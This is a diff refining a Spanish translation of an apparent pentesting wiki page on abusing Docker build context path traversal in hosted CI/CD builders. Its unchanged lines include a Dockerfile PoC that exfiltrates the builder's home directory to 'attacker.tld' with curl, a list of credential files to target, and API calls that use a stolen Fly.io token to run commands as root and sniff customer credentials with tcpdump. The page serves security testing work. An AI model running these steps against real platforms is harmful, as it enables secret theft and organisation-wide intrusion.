Translated ['src/pentesting-cloud/aws-security/aws-services/aws-bedrock-

src/pentesting-ci-cd/docker-build-context-abuse.md

@@ -4,22 +4,22 @@
 
 ## TL;DR
 
-Si una plataforma CI/CD o un hosted builder permite a los colaboradores especificar la ruta del Docker build context y la ruta del Dockerfile, a menudo puedes establecer el context en un directorio padre (p. ej., "..") y hacer que archivos del host formen parte del build context. Entonces, un Dockerfile controlado por el atacante puede COPY y exfiltrar secretos encontrados en el home del usuario del builder (por ejemplo, ~/.docker/config.json). Los tokens de registry robados también pueden funcionar contra las control-plane APIs del proveedor, permitiendo RCE a nivel de organización.
+Si una plataforma CI/CD o un hosted builder permite a los colaboradores especificar la ruta del Docker build context y la ruta del Dockerfile, a menudo puedes establecer el contexto en un directorio padre (p. ej., "..") y hacer que archivos del host formen parte del build context. Entonces, un Dockerfile controlado por el atacante puede COPY y exfiltrate secretos encontrados en el home del usuario del builder (por ejemplo, ~/.docker/config.json). Los tokens robados del registry también pueden funcionar contra las control-plane APIs del proveedor, permitiendo RCE a nivel de organización.
 
 ## Superficie de ataque
 
-Muchos servicios hosted builder/registry realizan más o menos esto al construir imágenes enviadas por usuarios:
-- Leer una configuración a nivel de repo que incluye:
-  - build context path (enviado al Docker daemon)
-  - Dockerfile path relative to that context
+Muchos servicios de hosted builder/registry hacen más o menos esto al construir imágenes enviadas por usuarios:
+- Leer una config a nivel de repo que incluye:
+- build context path (enviado al Docker daemon)
+- Dockerfile path relativo a ese contexto
 - Copiar el directorio de build context indicado y el Dockerfile al Docker daemon
 - Construir la imagen y ejecutarla como un servicio alojado
 
-Si la plataforma no canonicaliza y restringe el build context, un usuario puede establecerlo en una ubicación fuera del repositorio (path traversal), haciendo que archivos arbitrarios del host legibles por el build user pasen a formar parte del build context y estén disponibles para COPY en el Dockerfile.
+Si la plataforma no canonicaliza y restringe el build context, un usuario puede establecerlo en una ubicación fuera del repositorio (path traversal), haciendo que archivos arbitrarios del host legibles por el build user formen parte del build context y estén disponibles para COPY en el Dockerfile.
 
 Restricciones prácticas comúnmente observadas:
-- El Dockerfile debe residir dentro de la context path elegido y su ruta debe conocerse de antemano.
-- El build user debe tener acceso de lectura a los archivos incluidos en el context; los archivos de dispositivo especiales pueden romper la copia.
+- El Dockerfile debe residir dentro de la ruta de contexto elegida y su ruta debe conocerse de antemano.
+- El build user debe tener permisos de lectura sobre los archivos incluidos en el contexto; archivos de dispositivo especiales pueden romper la copia.
 
 ## PoC: Path traversal via Docker build context
 
@@ -41,8 +41,8 @@ exampleConfig:
 apiKey: "sk-example123"
 ```
 Notas:
-- El uso de ".." a menudo resuelve al home del usuario builder (p. ej., /home/builder), que típicamente contiene archivos sensibles.
-- Coloca tu Dockerfile bajo el nombre del directorio del repo (p. ej., repo "test" → test/Dockerfile) para que permanezca dentro del contexto expandido del directorio padre.
+- Usar ".." a menudo resuelve al directorio home del usuario builder (p. ej., /home/builder), que típicamente contiene archivos sensibles.
+- Coloca tu Dockerfile bajo el nombre del directorio del repo (p. ej., repo "test" → test/Dockerfile) para que permanezca dentro del contexto padre expandido.
 
 ## PoC: Dockerfile para ingest y exfiltrate el contexto del host
 ```dockerfile
@@ -53,33 +53,33 @@ COPY . /data                      # Copies entire build context (now builder’s
 RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
 ```
 Objetivos comúnmente recuperados desde $HOME:
-- ~/.docker/config.json (registry auths/tokens)
-- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
+- ~/.docker/config.json (autenticaciones/tokens del registry)
+- Otras caches y configuraciones de cloud/CLI (p. ej., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
 
-Consejo: Incluso con un .dockerignore en el repositorio, la selección de contexto del lado de la plataforma vulnerable sigue gobernando qué se envía al daemon. Si la plataforma copia la ruta seleccionada al daemon antes de evaluar el .dockerignore de tu repo, los archivos del host aún pueden exponerse.
+Consejo: Incluso con un .dockerignore en el repositorio, la selección de contexto vulnerable en el lado de la plataforma aún rige lo que se envía al daemon. Si la plataforma copia la ruta elegida al daemon antes de evaluar el .dockerignore de tu repo, los archivos del host aún pueden exponerse.
 
-## Pivot en la nube con tokens sobreprivilegiados (ejemplo: Fly.io Machines API)
+## Pivot a la nube con tokens sobreprivilegiados (ejemplo: Fly.io Machines API)
 
-Algunas plataformas emiten un único bearer token usable tanto para el container registry como para la control-plane API. Si exfiltras un registry token, pruébalo contra la provider API.
+Algunas plataformas emiten un único bearer token usable tanto para el container registry como para la control-plane API. Si exfiltras un registry token, pruébalo contra la API del proveedor.
 
-Ejemplos de llamadas API contra Fly.io Machines API usando el token robado de ~/.docker/config.json:
+Ejemplos de llamadas a la API contra Fly.io Machines API usando el token robado de ~/.docker/config.json:
 
 Enumerar apps en una org:
 ```bash
 curl -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps?org_slug=smithery"
 ```
-Ejecutar un comando como root dentro de cualquier máquina de una aplicación:
+Ejecutar un comando como root dentro de cualquier máquina de una app:
 ```bash
 curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
 ```
-Resultado: org-wide remote code execution en todas las aplicaciones alojadas donde el token tenga suficientes privilegios.
+Resultado: a nivel de la organización remote code execution en todas las aplicaciones alojadas donde el token tenga privilegios suficientes.
 
-## Robo de secretos desde servicios alojados comprometidos
+## Robo de secretos de servicios alojados comprometidos
 
-Con exec/RCE en servidores alojados, puedes recolectar secretos proporcionados por clientes (API keys, tokens) o montar ataques de prompt-injection. Ejemplo: instala tcpdump y captura tráfico HTTP en port 8080 para extraer inbound credentials.
+Con exec/RCE en servidores alojados, puedes recolectar secretos proporcionados por clientes (API keys, tokens) o montar prompt-injection attacks. Ejemplo: instala tcpdump y captura tráfico HTTP en el puerto 8080 para extraer credenciales entrantes.
 ```bash
 # Install tcpdump inside the machine
 curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -91,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
 ```
-Las solicitudes capturadas a menudo contienen credenciales de cliente en los encabezados, los cuerpos o los parámetros de consulta.
+Las solicitudes capturadas a menudo contienen credenciales de cliente en headers, bodies o query params.
 
 ## Referencias